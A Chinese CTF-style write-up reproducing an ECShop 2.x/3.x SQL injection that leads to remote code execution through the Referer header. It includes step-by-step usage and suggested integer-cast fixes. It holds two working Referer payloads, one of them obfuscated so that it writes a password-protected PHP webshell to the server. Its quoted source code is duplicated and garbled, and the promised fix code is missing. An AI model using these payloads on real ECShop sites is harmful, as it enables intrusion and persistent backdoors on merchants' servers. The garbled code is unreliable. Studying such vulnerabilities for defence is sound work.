ctf做题学习:Ecshop 2.x 3.x SQL注入任意命令执行复现

别说谁变了你拦得住时间么 提交于 2019-12-04 11:07:31

题目复现地址:http://www.whalwl.cn:8030/index.php

 

影响版本:

    Ecshop 2.x

    Ecshop 3.x-3.6.0

漏洞分析:

该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

注:以下代码分析基于ECShop 2.7.3

SQL注入漏洞分析:

首先我们看一下漏洞的起源点 user.php ,在用户login这里有一段代码:

 /* 用户登录界面 */ elseif ($action == 'login') { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) { $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act = 'user.php'; } }
/* 用户登录界面 */ elseif ($action == 'login') { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) { $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act = 'user.php'; } } $captcha = intval($_CFG['captcha']); if (($captcha & C gd_version() > 0) { $GLOBALS['smarty']->assign('enabled_captcha', 1); $GLOBALS['smarty']->assign('rand',

Ecshop使用了php模版引擎smarty,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。

smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。

可以看到 $back_act 是从 $GLOBALS['_SERVER']['HTTP_REFERER'] 获取到的,HTTP_REFERER 是外部可控的参数,这也是我们注入payload的源头。

 

phpinfo poc:

 

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

 

 

 

一句话 poc 文件.config.php  密码bow 

 

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:305:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a79356a6232356d61576375634768774a79776e50443977614841675a585a686243676b5831425055315262596d393358536b374944382b4a796b3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

使用步骤:

1.注册用户

2.访问user.php并传参数act=login同时抓包

user.php?act=login

3.添加Referer头信息并传入poc

 

 

 

2.x修复建议,3.x 暂时 没找到

Ecshop 3.6.0版本中参数$_echash的值发生了变化,并且对该漏洞写shell的利用进行了防御,该防御措施会被绕过,因此通过升级到最新版3.6.0的方式无法修复该漏洞。建议使用临时解决方案降低被入侵的风险,方法如下:

1、建议在include/lib_insert.php文件的insert_ads()、insert_bought_notes()函数中将$arr[id]和$arr[num]强制转换成整型;

2、以insert_ads()函数为例,也可以在条件判断语句中加入is_int()函数判断$arr[id]、$arr[num]参数是否为整型。针对insert_ads()函数的漏洞修复代码示例:

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!